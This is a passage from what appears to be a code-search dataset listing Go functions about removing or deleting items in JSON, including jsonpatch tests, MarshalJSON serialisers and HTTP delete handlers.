runRemoveRoutine(id)\n\tif err != nil {\n\t\terrPayload := buildErrorPayload(err.Error(), 200)\n\t\tw.Write(errPayload)\n\t}\n\n\tpayload := buildSuccessPayload(\"success\", 200)\n\tw.Write(payload)\n}","func Test_jsonpatch_Add_Remove_for_array(t *testing.T) {\n\tg := NewWithT(t)\n\n\t// 1. Create array\n\torigDoc := []byte(`{\"root\":{}}`)\n\n\tpatch1, _ := DecodePatch([]byte(`\n[{\"op\":\"add\", \"path\":\"/root/array\", \"value\":[]}]\n`))\n\n\texpectNewDoc := []byte(`{\"root\":{\"array\":[]}}`)\n\n\tnewDoc, err := patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch 1 apply\")\n\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n\n\t// 2. Add last element.\n\torigDoc = newDoc\n\tpatch1, _ = DecodePatch([]byte(`\n[{\"op\":\"add\", \"path\":\"/root/array/-\", \"value\":\"azaza\"}]\n`))\n\n\texpectNewDoc = []byte(`{\"root\":{\"array\":[\"azaza\"]}}`)\n\n\tnewDoc, err = patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch 2 apply\")\n\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n\n\t// 3. Add more elements.\n\torigDoc = newDoc\n\n\tpatch1, _ = DecodePatch([]byte(`\n[ {\"op\":\"add\", \"path\":\"/root/array/-\", \"value\":\"ololo\"},\n {\"op\":\"add\", \"path\":\"/root/array/-\", \"value\":\"foobar\"},\n {\"op\":\"add\", \"path\":\"/root/array/-\", \"value\":\"baz\"}\n]\n`))\n\n\texpectNewDoc = []byte(`{\"root\":{\"array\":[\"azaza\", \"ololo\", \"foobar\", \"baz\"]}}`)\n\n\tnewDoc, err = patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch 3 apply\")\n\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n\n\t// 4. Remove elements in the middle.\n\torigDoc = newDoc\n\tpatch1, _ = DecodePatch([]byte(`\n[ {\"op\":\"remove\", \"path\":\"/root/array/1\"},\n {\"op\":\"remove\", \"path\":\"/root/array/2\"}\n]\n`))\n\n\t// Operations in patch are not atomic, so after removing index 1, index 2 become 1.\n\t// \"remove 1, remove 2\" actually do: \"remove 1, remove 3\"\n\n\t// wrong expectation...\n\t// expectNewDoc = []byte(`{\"root\":{\"array\":[\"azaza\", \"baz\"]}}`)\n\t// Actual result\n\texpectNewDoc = []byte(`{\"root\":{\"array\":[\"azaza\", \"foobar\"]}}`)\n\n\tnewDoc, err = patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch 4 apply\")\n\n\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n}","func (w *PropertyWrite) remove(q *msg.Request, mr *msg.Result) {\n\tswitch q.Property.Type {\n\tcase `custom`:\n\t\tw.removeCustom(q, mr)\n\tcase `native`:\n\t\tw.removeNative(q, mr)\n\tcase `service`, `template`:\n\t\tw.removeService(q, mr)\n\tcase `system`:\n\t\tw.removeSystem(q, mr)\n\tdefault:\n\t\tmr.NotImplemented(fmt.Errorf(\"Unknown property type: %s\",\n\t\t\tq.Property.Type))\n\t}\n}","func (v *RemoveSymbolFromWatchlistRequest) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson3e8ab7adDecodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(&r, v)\n\treturn r.Error()\n}","func (s *RemoveDeviceValidator) BindJSON(c *gin.Context) error {\n\tb := binding.Default(c.Request.Method, c.ContentType())\n\n\terr := c.ShouldBindWith(s, b)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func (pbo PropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tpbo.Kind = KindPropertyBatchOperation\n\tobjectMap := make(map[string]interface{})\n\tif pbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = pbo.PropertyName\n\t}\n\tif pbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = pbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func Test_jsonpatch_Add_Remove_for_array(t *testing.T) {\n\tg := NewWithT(t)\n\n\t// 1. Create array\n\torigDoc := []byte(`{\"root\":{}}`)\n\n\tpatch1, _ := jsonpatch.DecodePatch([]byte(`\n[{\"op\":\"add\", \"path\":\"/root/array\", \"value\":[]}]\n`))\n\n\texpectNewDoc := []byte(`{\"root\":{\"array\":[]}}`)\n\n\tnewDoc, err := patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch 1 apply\")\n\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n\n\t// 2. Add last element.\n\torigDoc = newDoc\n\tpatch1, _ = jsonpatch.DecodePatch([]byte(`\n[{\"op\":\"add\", \"path\":\"/root/array/-\", \"value\":\"azaza\"}]\n`))\n\n\texpectNewDoc = []byte(`{\"root\":{\"array\":[\"azaza\"]}}`)\n\n\tnewDoc, err = patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch 2 apply\")\n\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n\n\t// 3. Add more elements.\n\torigDoc = newDoc\n\n\tpatch1, _ = jsonpatch.DecodePatch([]byte(`\n[ {\"op\":\"add\", \"path\":\"/root/array/-\", \"value\":\"ololo\"},\n {\"op\":\"add\", \"path\":\"/root/array/-\", \"value\":\"foobar\"},\n {\"op\":\"add\", \"path\":\"/root/array/-\", \"value\":\"baz\"}\n]\n`))\n\n\texpectNewDoc = []byte(`{\"root\":{\"array\":[\"azaza\", \"ololo\", \"foobar\", \"baz\"]}}`)\n\n\tnewDoc, err = patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch 3 apply\")\n\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n\n\t// 4. Remove elements in the middle.\n\torigDoc = newDoc[:]\n\tpatch1, _ = jsonpatch.DecodePatch([]byte(`\n[ {\"op\":\"remove\", \"path\":\"/root/array/1\"},\n {\"op\":\"remove\", \"path\":\"/root/array/2\"}\n]\n`))\n\n\t// Operations in patch are not atomic, so after removing index 1, index 2 become 1.\n\t// \"remove 1, remove 2\" actually do: \"remove 1, remove 3\"\n\n\t// wrong expectation...\n\t// expectNewDoc = []byte(`{\"root\":{\"array\":[\"azaza\", \"baz\"]}}`)\n\t// Actual result\n\texpectNewDoc = []byte(`{\"root\":{\"array\":[\"azaza\", \"foobar\"]}}`)\n\n\tnewDoc, err = patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch 4 apply\")\n\n\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n}","func Delete(jsonMap map[string]string, deleteMap map[string]string) (newMap map[string]string, err error) {\n\ts := make(map[string]string)\n\ts = jsonMap\n\tfor key := range deleteMap {\n\t\tif jsonMap[key] != \"\" {\n\t\t\tif strings.Contains(deleteMap[key], \"json:array\") {\n\t\t\t\terr = errors.New(\"invalid value to delete: json:array\")\n\t\t\t\treturn jsonMap, err\n\t\t\t} else if strings.Contains(deleteMap[key], \"json:object\") {\n\t\t\t\terr = errors.New(\"invalid value to delete: json:object\")\n\t\t\t\treturn jsonMap, err\n\t\t\t}\n\t\t\tdeleteArray := strings.Split(strings.Trim(deleteMap[key], `\"`), \" \")\n\t\t\tfor i := 0; i < len(deleteArray); i++ {\n\t\t\t\ts[key] = strings.Replace(s[key], \" \"+deleteArray[i], \"\", 1)\n\t\t\t\tswitch s[key] {\n\t\t\t\tcase \"json:array\":\n\t\t\t\t\ts[key] = \"[]\"\n\t\t\t\tcase \"json:object\":\n\t\t\t\t\ts[key] = \"{}\"\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn s, nil\n}","func encodeDeletePostResponse(ctx context.Context, w http.ResponseWriter, response interface{}) (err error) {\n\tif f, ok := response.(endpoint.Failure); ok && f.Failed() != nil {\n\t\tErrorEncoder(ctx, f.Failed(), w)\n\t\treturn nil\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\terr = json.NewEncoder(w).Encode(response)\n\tif err != nil {\n\t\t\tlogrus.Warn(err.Error())\n\t\t}\n\treturn\n}","func (t *RestControllerDescriptor) Remove() *ggt.MethodDescriptor { return t.methodRemove }","func (cspbo CheckSequencePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcspbo.Kind = KindCheckSequence\n\tobjectMap := make(map[string]interface{})\n\tif cspbo.SequenceNumber != nil {\n\t\tobjectMap[\"SequenceNumber\"] = cspbo.SequenceNumber\n\t}\n\tif cspbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cspbo.PropertyName\n\t}\n\tif cspbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cspbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (j Json) Deletes(path string) Json {\n\tif s, err := sjson.Delete(string(j), path); err == nil {\n\t\treturn Json(s)\n\t}\n\treturn j\n}","func patchRemoveFinalizers(namespace, name string) clientgotesting.PatchActionImpl {\n\taction := clientgotesting.PatchActionImpl{}\n\taction.Name = name\n\taction.Namespace = namespace\n\tpatch := `{\"metadata\":{\"finalizers\":[],\"resourceVersion\":\"\"}}`\n\taction.Patch = []byte(patch)\n\treturn action\n}","func (v EventApplicationPermissionDelete) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk16(w, v)\n}","func (v Quit) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson42239ddeEncodeGithubComKhliengDispatchServer11(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func Delete(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tparams := mux.Vars(r)\n\tfor i, elem := range schema {\n\t\tif elem.Config.Name == params[\"name\"] {\n\t\t\tschema = append(schema[:i], schema[i+1:]...)\n\t\t\tbreak\n\t\t}\n\t}\n\tjson.NewEncoder(w).Encode(schema)\n}","func (j *ProposalUpdateOperation) MarshalJSONBuf(buf fflib.EncodingBuffer) error {\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn nil\n\t}\n\tvar err error\n\tvar obj []byte\n\t_ = obj\n\t_ = err\n\tbuf.WriteString(`{ \"active_approvals_to_add\":`)\n\tif j.ActiveApprovalsToAdd != nil {\n\t\tbuf.WriteString(`[`)\n\t\tfor i, v := range j.ActiveApprovalsToAdd {\n\t\t\tif i != 0 {\n\t\t\t\tbuf.WriteString(`,`)\n\t\t\t}\n\n\t\t\t{\n\n\t\t\t\tobj, err = v.MarshalJSON()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tbuf.Write(obj)\n\n\t\t\t}\n\t\t}\n\t\tbuf.WriteString(`]`)\n\t} else {\n\t\tbuf.WriteString(`null`)\n\t}\n\tbuf.WriteString(`,\"active_approvals_to_remove\":`)\n\tif j.ActiveApprovalsToRemove != nil {\n\t\tbuf.WriteString(`[`)\n\t\tfor i, v := range j.ActiveApprovalsToRemove {\n\t\t\tif i != 0 {\n\t\t\t\tbuf.WriteString(`,`)\n\t\t\t}\n\n\t\t\t{\n\n\t\t\t\tobj, err = v.MarshalJSON()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tbuf.Write(obj)\n\n\t\t\t}\n\t\t}\n\t\tbuf.WriteString(`]`)\n\t} else {\n\t\tbuf.WriteString(`null`)\n\t}\n\tbuf.WriteString(`,\"owner_approvals_to_add\":`)\n\tif j.OwnerApprovalsToAdd != nil {\n\t\tbuf.WriteString(`[`)\n\t\tfor i, v := range j.OwnerApprovalsToAdd {\n\t\t\tif i != 0 {\n\t\t\t\tbuf.WriteString(`,`)\n\t\t\t}\n\n\t\t\t{\n\n\t\t\t\tobj, err = v.MarshalJSON()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tbuf.Write(obj)\n\n\t\t\t}\n\t\t}\n\t\tbuf.WriteString(`]`)\n\t} else {\n\t\tbuf.WriteString(`null`)\n\t}\n\tbuf.WriteString(`,\"owner_approvals_to_remove\":`)\n\tif j.OwnerApprovalsToRemove != nil {\n\t\tbuf.WriteString(`[`)\n\t\tfor i, v := range j.OwnerApprovalsToRemove {\n\t\t\tif i != 0 {\n\t\t\t\tbuf.WriteString(`,`)\n\t\t\t}\n\n\t\t\t{\n\n\t\t\t\tobj, err = v.MarshalJSON()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tbuf.Write(obj)\n\n\t\t\t}\n\t\t}\n\t\tbuf.WriteString(`]`)\n\t} else {\n\t\tbuf.WriteString(`null`)\n\t}\n\tbuf.WriteString(`,\"extensions\":`)\n\n\t{\n\n\t\tobj, err = j.Extensions.MarshalJSON()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tbuf.Write(obj)\n\n\t}\n\tbuf.WriteString(`,\"fee_paying_account\":`)\n\n\t{\n\n\t\tobj, err = j.FeePayingAccount.MarshalJSON()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tbuf.Write(obj)\n\n\t}\n\tbuf.WriteString(`,\"key_approvals_to_add\":`)\n\tif j.KeyApprovalsToAdd != nil {\n\t\tbuf.WriteString(`[`)\n\t\tfor i, v := range j.KeyApprovalsToAdd {\n\t\t\tif i != 0 {\n\t\t\t\tbuf.WriteString(`,`)\n\t\t\t}\n\n\t\t\t{\n\n\t\t\t\tobj, err = v.MarshalJSON()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tbuf.Write(obj)\n\n\t\t\t}\n\t\t}\n\t\tbuf.WriteString(`]`)\n\t} else {\n\t\tbuf.WriteString(`null`)\n\t}\n\tbuf.WriteString(`,\"key_approvals_to_remove\":`)\n\tif j.KeyApprovalsToRemove != nil {\n\t\tbuf.WriteString(`[`)\n\t\tfor i, v := range j.KeyApprovalsToRemove {\n\t\t\tif i != 0 {\n\t\t\t\tbuf.WriteString(`,`)\n\t\t\t}\n\n\t\t\t{\n\n\t\t\t\tobj, err = v.MarshalJSON()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tbuf.Write(obj)\n\n\t\t\t}\n\t\t}\n\t\tbuf.WriteString(`]`)\n\t} else {\n\t\tbuf.WriteString(`null`)\n\t}\n\tbuf.WriteString(`,\"proposal\":`)\n\n\t{\n\n\t\tobj, err = j.Proposal.MarshalJSON()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tbuf.Write(obj)\n\n\t}\n\tbuf.WriteByte(',')\n\tif j.Fee != nil {\n\t\tif true {\n\t\t\t/* Struct fall back. type=types.AssetAmount kind=struct */\n\t\t\tbuf.WriteString(`\"fee\":`)\n\t\t\terr = buf.Encode(j.Fee)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tbuf.WriteByte(',')\n\t\t}\n\t}\n\tbuf.Rewind(1)\n\tbuf.WriteByte('}')\n\treturn nil\n}","func (r *ExtensionPropertyRequest) Delete(ctx context.Context) error {\n\treturn r.JSONRequest(ctx, \"DELETE\", \"\", nil, nil)\n}","func (v RemoveScriptToEvaluateOnNewDocumentParams) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage23(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (r *SingleValueLegacyExtendedPropertyRequest) Delete(ctx context.Context) error {\n\treturn r.JSONRequest(ctx, \"DELETE\", \"\", nil, nil)\n}","func (j *ProposalUpdateOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}","func encodeDeleteTagResponse(ctx context.Context, w http.ResponseWriter, response interface{}) (err error) {\n\tif f, ok := response.(endpoint.Failure); ok && f.Failed() != nil {\n\t\tErrorEncoder(ctx, f.Failed(), w)\n\t\treturn nil\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\terr = json.NewEncoder(w).Encode(response)\n\tif err != nil {\n\t\t\tlogrus.Warn(err.Error())\n\t\t}\n\treturn\n}","func (op OpRemove) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}","func NewJSONItemRemover(removedPath []string) JSONItemRemover {\n\tremovedDataIndex1 := make(map[int]bool)\n\tremovedPath1 := make(map[string]bool)\n\tvar rmCount int\n\tif removedPath != nil {\n\t\trmCount = len(removedPath)\n\t\tfor _, val := range removedPath {\n\t\t\tremovedPath1[val] = true\n\n\t\t}\n\t}\n\treturn containerJSONItemRemover{removedDataIndex: removedDataIndex1, removedPath: removedPath1, removedPathCount: rmCount}\n}","func (crrfse ChaosRemoveReplicaFaultScheduledEvent) MarshalJSON() ([]byte, error) {\n\tcrrfse.Kind = KindChaosRemoveReplicaFaultScheduled\n\tobjectMap := make(map[string]interface{})\n\tif crrfse.FaultGroupID != nil {\n\t\tobjectMap[\"FaultGroupId\"] = crrfse.FaultGroupID\n\t}\n\tif crrfse.FaultID != nil {\n\t\tobjectMap[\"FaultId\"] = crrfse.FaultID\n\t}\n\tif crrfse.ServiceURI != nil {\n\t\tobjectMap[\"ServiceUri\"] = crrfse.ServiceURI\n\t}\n\tif crrfse.PartitionID != nil {\n\t\tobjectMap[\"PartitionId\"] = crrfse.PartitionID\n\t}\n\tif crrfse.ReplicaID != nil {\n\t\tobjectMap[\"ReplicaId\"] = crrfse.ReplicaID\n\t}\n\tif crrfse.EventInstanceID != nil {\n\t\tobjectMap[\"EventInstanceId\"] = crrfse.EventInstanceID\n\t}\n\tif crrfse.TimeStamp != nil {\n\t\tobjectMap[\"TimeStamp\"] = crrfse.TimeStamp\n\t}\n\tif crrfse.HasCorrelatedEvents != nil {\n\t\tobjectMap[\"HasCorrelatedEvents\"] = crrfse.HasCorrelatedEvents\n\t}\n\tif crrfse.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = crrfse.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func deleteObject(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\tkey, _ := strconv.Atoi(vars[\"id\"])\n\tfound := false\n\tlocation := 0\n\n\tfor index := range listOfObjects {\n\t\tif listOfObjects[index].ID == key {\n\t\t\tfound = true\n\t\t\tlocation = index\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif found == true {\n\t\tlistOfObjects = append(listOfObjects[:location], listOfObjects[location+1:]...)\n\t\terr := json.NewEncoder(w).Encode(\"Removed\")\n\t\tif err != nil {\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tlog.Fatal(\"Error encoding JSON\")\n\t\t}\n\t} else {\n\t\tw.WriteHeader(http.StatusNotFound)\n\t\terr := json.NewEncoder(w).Encode(\"Could not find object\")\n\t\tif err != nil {\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tlog.Fatal(\"Error encoding JSON\")\n\t\t}\n\t}\n}","func (u UpdateOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(u.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(u.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\tcase u.Row == nil:\n\t\treturn nil, errors.New(\"Row field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range u.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t\tRow Row `json:\"row\"`\n\t}{\n\t\tOp: u.Op(),\n\t\tTable: u.Table,\n\t\tWhere: u.Where,\n\t\tRow: u.Row,\n\t}\n\n\treturn json.Marshal(temp)\n}","func (this *RouteController) AjaxRemove() {\n\tdata := JsonData{}\n\n\tif this.isPost() {\n\t\troute := strings.TrimSpace(this.GetString(\"route\"))\n\n\t\trouteModel := models.Route{}\n\t\trouteModel.FindByUrl(route)\n\n\t\tif isDelete, _ := routeModel.Delete(); isDelete {\n\t\t\tdata.Code = 200\n\t\t\tdata.Message = \"删除成功\"\n\t\t} else {\n\t\t\tdata.Code = 400\n\t\t\tdata.Message = \"删除成功\"\n\t\t}\n\n\t} else {\n\t\tdata.Code = 400\n\t\tdata.Message = \"非法请求\"\n\t}\n\n\tthis.ShowJSON(&data)\n}","func (v RemoveScriptToEvaluateOnNewDocumentParams) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage23(w, v)\n}","func (b BastionSessionDeleteResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", b.NextLink)\n\tpopulate(objectMap, \"value\", b.Value)\n\treturn json.Marshal(objectMap)\n}","func (obj CartAddCustomShippingMethodAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartAddCustomShippingMethodAction\n\tdata, err := json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"addCustomShippingMethod\", Alias: (*Alias)(&obj)})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\traw := make(map[string]interface{})\n\tif err := json.Unmarshal(data, &raw); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif raw[\"deliveries\"] == nil {\n\t\tdelete(raw, \"deliveries\")\n\t}\n\n\treturn json.Marshal(raw)\n\n}","func (arinpsm AddRemoveIncrementalNamedPartitionScalingMechanism) MarshalJSON() ([]byte, error) {\n\tarinpsm.Kind = KindAddRemoveIncrementalNamedPartition\n\tobjectMap := make(map[string]interface{})\n\tif arinpsm.MinPartitionCount != nil {\n\t\tobjectMap[\"MinPartitionCount\"] = arinpsm.MinPartitionCount\n\t}\n\tif arinpsm.MaxPartitionCount != nil {\n\t\tobjectMap[\"MaxPartitionCount\"] = arinpsm.MaxPartitionCount\n\t}\n\tif arinpsm.ScaleIncrement != nil {\n\t\tobjectMap[\"ScaleIncrement\"] = arinpsm.ScaleIncrement\n\t}\n\tif arinpsm.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = arinpsm.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (v EventApplicationRepositoryDelete) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk8(w, v)\n}","func (o DeleteSharedDashboardResponse) MarshalJSON() ([]byte, error) {\n\ttoSerialize := map[string]interface{}{}\n\tif o.UnparsedObject != nil {\n\t\treturn json.Marshal(o.UnparsedObject)\n\t}\n\tif o.DeletedPublicDashboardToken != nil {\n\t\ttoSerialize[\"deleted_public_dashboard_token\"] = o.DeletedPublicDashboardToken\n\t}\n\n\tfor key, value := range o.AdditionalProperties {\n\t\ttoSerialize[key] = value\n\t}\n\treturn json.Marshal(toSerialize)\n}","func deleteRegistry(w http.ResponseWriter, req *http.Request) {\n\tvar sStore SpecificStore\n\t_ = json.NewDecoder(req.Body).Decode(&sStore)\n\n\tif len(array) == 0 {\n\t\tfmt.Println(\"$$$Primero debe llenar el arreglo con informacion\")\n\t\tjson.NewEncoder(w).Encode(\"Primero debe llenar el arreglo con informacion\")\n\t\treturn\n\t}\n\n\tfmt.Println(\"$$$Buscando tienda con los parametros especificados\")\n\tfor i := 0; i < len(array); i++ {\n\t\tif array[i].Department == sStore.Departament && array[i].Rating == sStore.Rating {\n\t\t\tfor j := 0; j < array[i].List.lenght; j++ {\n\t\t\t\ttempNode, _ := array[i].List.GetNodeAt(j)\n\t\t\t\ttempName := tempNode.data.Name\n\t\t\t\tif tempName == sStore.Name {\n\t\t\t\t\tarray[i].List.DeleteNode(j)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tprintArray(array)\n\n}","func (r TestPrefixDrop) MarshalJSON() ([]byte, error) {\n\ts, err := r.getString()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn json.Marshal(s)\n}"],"string":"[\n \"func (dpbo DeletePropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tdpbo.Kind = KindDelete\\n\\tobjectMap := make(map[string]interface{})\\n\\tif dpbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = dpbo.PropertyName\\n\\t}\\n\\tif dpbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = dpbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (obj CartRemoveLineItemAction) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartRemoveLineItemAction\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"action\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"removeLineItem\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (obj CartRemovePaymentAction) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartRemovePaymentAction\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"action\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"removePayment\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (v RemoveSymbolFromWatchlistRequest) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjson3e8ab7adEncodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(w, v)\\n}\",\n \"func (op *OpRemove) UnmarshalJSON(raw []byte) error {\\n\\treturn json.Unmarshal(raw, &op.Field)\\n}\",\n \"func (v RemoveUserData) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjsonD2b7633eEncode20191OPGPlus2InternalPkgModels14(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func Test_jsonpatch_Remove_NonExistent_IsError(t *testing.T) {\\n\\tg := NewWithT(t)\\n\\n\\tpatch1, _ := jsonpatch.DecodePatch([]byte(`[{\\\"op\\\":\\\"remove\\\", \\\"path\\\":\\\"/test_key\\\"}]`))\\n\\n\\torigDoc := []byte(`{\\\"asd\\\":\\\"foof\\\"}`)\\n\\n\\t_, err := patch1.Apply(origDoc)\\n\\tg.Expect(err).Should(HaveOccurred(), \\\"patch apply\\\")\\n}\",\n \"func JSONDel(conn redis.Conn, key string, path string) (res interface{}, err error) {\\n\\tname, args, _ := CommandBuilder(\\\"JSON.DEL\\\", key, path)\\n\\treturn conn.Do(name, args...)\\n}\",\n \"func (j jsonNull) doRemovePath([]string) (JSON, bool, error) { return j, false, nil }\",\n \"func Test_jsonpatch_Remove_ObjectAndArray(t *testing.T) {\\n\\tg := NewWithT(t)\\n\\n\\torigDoc := []byte(`{\\n\\t\\t\\\"asd\\\":\\\"foof\\\",\\n\\t\\t\\\"test_obj\\\":{\\\"color\\\":\\\"red\\\", \\\"model\\\":\\\"sedan\\\"},\\n\\t\\t\\\"test_array\\\":[\\\"uno\\\", \\\"deux\\\", \\\"three\\\"]\\n }`)\\n\\n\\tpatch1, _ := DecodePatch([]byte(`[\\n\\t\\t{\\\"op\\\":\\\"remove\\\", \\\"path\\\":\\\"/test_obj\\\"},\\n\\t\\t{\\\"op\\\":\\\"remove\\\", \\\"path\\\":\\\"/test_array\\\"}\\n\\t]`))\\n\\n\\texpectNewDoc := []byte(`{\\\"asd\\\":\\\"foof\\\"}`)\\n\\n\\tnewDoc, err := patch1.Apply(origDoc)\\n\\tg.Expect(err).ShouldNot(HaveOccurred(), \\\"patch apply\\\")\\n\\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \\\"%v is not equal to %v\\\", string(newDoc), string(expectNewDoc))\\n}\",\n \"func (d DeleteOperation) MarshalJSON() ([]byte, error) {\\n\\t// validate required fields\\n\\tswitch {\\n\\tcase len(d.Table) == 0:\\n\\t\\treturn nil, errors.New(\\\"Table field is required\\\")\\n\\tcase len(d.Where) == 0:\\n\\t\\treturn nil, errors.New(\\\"Where field is required\\\")\\n\\t}\\n\\t// validate contions\\n\\tfor _, cond := range d.Where {\\n\\t\\tif !cond.Valid() {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"Invalid condition: %v\\\", cond)\\n\\t\\t}\\n\\t}\\n\\n\\tvar temp = struct {\\n\\t\\tOp OperationType `json:\\\"op\\\"`\\n\\t\\tTable ID `json:\\\"table\\\"`\\n\\t\\tWhere []Condition `json:\\\"where\\\"`\\n\\t}{\\n\\t\\tOp: d.Op(),\\n\\t\\tTable: d.Table,\\n\\t\\tWhere: 